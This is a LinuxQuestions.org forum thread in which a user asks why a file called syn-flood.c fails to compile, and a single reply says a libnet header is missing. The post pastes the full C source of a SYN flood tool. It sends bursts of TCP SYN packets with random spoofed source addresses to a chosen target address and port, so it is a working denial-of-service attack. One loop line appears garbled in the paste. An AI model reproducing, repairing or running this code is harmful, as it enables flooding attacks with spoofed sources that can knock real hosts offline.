LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Software
User Name
Password
Linux - Software This forum is for Software issues.
Having a problem installing a new program? Want to know which application is best for the job? Post your question in this forum.

Notices


Reply
  Search this Thread
Old 03-31-2009, 07:10 AM   #1
soni_silver17
LQ Newbie
 
Registered: Jan 2009
Posts: 21

Rep: Reputation: 15
synflood.c file error


Hi when i am executing the syn-flood.c file in RHEL4 by using the command #gcc syn-flood.c -o syn-flood
i am getting the below errors
syn-flood.c:35:28: ../libnet_test.h: No such file or directory
syn-flood.c:39: error: field `ip' has incomplete type
syn-flood.c:40: error: field `tcp' has incomplete type
syn-flood.c: In function `main':
syn-flood.c:47: error: `u_long' undeclared (first use in this function)
syn-flood.c:47: error: (Each undeclared identifier is reported only once
syn-flood.c:47: error: for each function it appears in.)
syn-flood.c:47: error: syntax error before "dst_ip"
syn-flood.c:49: error: `u_short' undeclared (first use in this function)
syn-flood.c:51: error: `u_char' undeclared (first use in this function)
syn-flood.c:51: error: `cp' undeclared (first use in this function)
syn-flood.c:51: error: `buf' undeclared (first use in this function)
syn-flood.c:58: error: `EOF' undeclared (first use in this function)
syn-flood.c:69: error: `optarg' undeclared (first use in this function)
syn-flood.c:72: error: `EXIT_FAILURE' undeclared (first use in this function)
syn-flood.c:75: error: `dst_prt' undeclared (first use in this function)
syn-flood.c:75: error: syntax error before "atoi"
syn-flood.c:76: error: `dst_ip' undeclared (first use in this function)
syn-flood.c:78: error: `stderr' undeclared (first use in this function)
syn-flood.c:107: error: `IPPROTO_RAW' undeclared (first use in this function)
syn-flood.c:113: error: `LIBNET_TCP_H' undeclared (first use in this function)
syn-flood.c:113: error: `LIBNET_IP_H' undeclared (first use in this function)
syn-flood.c:129: error: `LIBNET_PRu16' undeclared (first use in this function)
syn-flood.c:131: error: `LIBNET_PR8' undeclared (first use in this function)
syn-flood.c:132: error: `IPPROTO_TCP' undeclared (first use in this function)
syn-flood.c:133: error: `src_ip' undeclared (first use in this function)
syn-flood.c:133: error: `LIBNET_PRu32' undeclared (first use in this function)
syn-flood.c:135: error: `NULL' undeclared (first use in this function)
syn-flood.c:139: error: `src_prt' undeclared (first use in this function)
syn-flood.c:143: error: `TH_SYN' undeclared (first use in this function)
syn-flood.c:167: error: `EXIT_SUCCESS' undeclared (first use in this function)
syn-flood.c: At top level:
syn-flood.c:172: error: syntax error before '*' token
syn-flood.c:173: error: conflicting types for 'usage'
syn-flood.c:71: error: previous implicit declaration of 'usage' was here
syn-flood.c: In function `usage':
syn-flood.c:174: error: `stderr' undeclared (first use in this function)
syn-flood.c:179: error: `nomenclature' undeclared (first use in this function)

.......................syn-flood.c.......................................
#if (HAVE_CONFIG_H)
#include "../../include/config.h"
#endif
#include "../libnet_test.h"

struct t_pack
{
struct ip ip;
struct tcphdr tcp;
};


int
main(int argc, char **argv)
{
u_long dst_ip = 0;
u_long src_ip = 0;
u_short dst_prt = 0;
u_short src_prt = 0;
u_char *cp, *buf;
int i, c, packet_amt, burst_int, sockfd, burst_amt;

packet_amt = 0;
burst_int = 0;
burst_amt = 1;

while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
{
switch (c)
{
/*
* We expect the input to be of the form `ip.ip.ip.ip.port`. We
* point cp to the last dot of the IP address/port string and
* then seperate them with a NULL byte. The optarg now points to
* just the IP address, and cp points to the port.
*/
case 't':
if (!(cp = strrchr(optarg, '.')))
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
*cp++ = 0;
dst_prt = (u_short)atoi(cp);
if (!(dst_ip = libnet_name_resolve(optarg, 1)))
{
fprintf(stderr, "Bad IP address: %s\n", optarg);
exit(EXIT_FAILURE);
}
break;

case 'a':
packet_amt = atoi(optarg);
break;

case 'i':
burst_int = atoi(optarg);
break;

case 'b':
burst_amt = atoi(optarg);
break;

default:
usage(argv[0]);
exit(EXIT_FAILURE);
}
}

if (!dst_prt || !dst_ip || !packet_amt)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}

if ((sockfd = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
{
perror("socket allocation");
exit(EXIT_FAILURE);
}

buf = malloc(LIBNET_TCP_H + LIBNET_IP_H);
if (!buf)
{
perror("No memory for packet header");
exit(EXIT_FAILURE);
}
memset(buf, 0, LIBNET_TCP_H + LIBNET_IP_H);

libnet_seed_prand();

for(; burst_amt--
{
for (i = 0; i < packet_amt; i++)
{
libnet_build_ip(LIBNET_TCP_H,
0,
libnet_get_prand(LIBNET_PRu16),
0,
libnet_get_prand(LIBNET_PR8),
IPPROTO_TCP,
src_ip = libnet_get_prand(LIBNET_PRu32),
dst_ip,
NULL,
0,
buf);

libnet_build_tcp(src_prt = libnet_get_prand(LIBNET_PRu16),
dst_prt,
libnet_get_prand(LIBNET_PRu32),
libnet_get_prand(LIBNET_PRu32),
TH_SYN,
libnet_get_prand(LIBNET_PRu16),
0,
NULL,
0,
buf + LIBNET_IP_H);

libnet_do_checksum(buf, IPPROTO_TCP, LIBNET_TCP_H);

c = libnet_write_ip(sockfd, buf, LIBNET_TCP_H + LIBNET_IP_H);
if (c < LIBNET_TCP_H + LIBNET_IP_H)
{
fprintf(stderr, "libnet_write_ip\n");
}
usleep(250);
printf("%15s:%5d ------> %15s:%5d\n",
libnet_host_lookup(src_ip, 1),
ntohs(src_prt),
libnet_host_lookup(dst_ip, 1),
dst_prt);
}
sleep(burst_int);
}
free(buf);
exit(EXIT_SUCCESS);
}


void
usage(u_char *nomenclature)
{
fprintf(stderr,
"\n\nusage: %s -t -a [-i -b]\n"
"\t-t target, (ip.address.port: 192.168.2.6.23)\n"
"\t-a number of packets to send per burst\n"
"\t-i packet burst sending interval (defaults to 0)\n"
"\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
}


/* EOF */

.........................................................................
please help me with solution

With Thanks and Regards
 
Old 03-31-2009, 08:09 AM   #2
AlucardZero
Senior Member
 
Registered: May 2006
Location: USA
Distribution: Debian
Posts: 4,824

Rep: Reputation: 615Reputation: 615Reputation: 615Reputation: 615Reputation: 615Reputation: 615
You need libnet_test.h.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
source code file 'Not a local file' error with anjuta 2.4.2 PrathuD Linux - Newbie 2 10-24-2008 10:36 AM
Axcrypt file encryption install error. Error opening file for writing ( axcrypt.css) Skyxxxsurfer General 1 04-26-2008 03:27 PM
Suse CUPS error: cups(File)DoRequest error:client-error-bad-request smdonelan Linux - Hardware 6 04-17-2007 06:46 PM
Random file lines directed to a new file. In script an error. In command line no err leventis Programming 1 09-28-2006 07:16 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Software

All times are GMT -5. The time now is 03:43 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration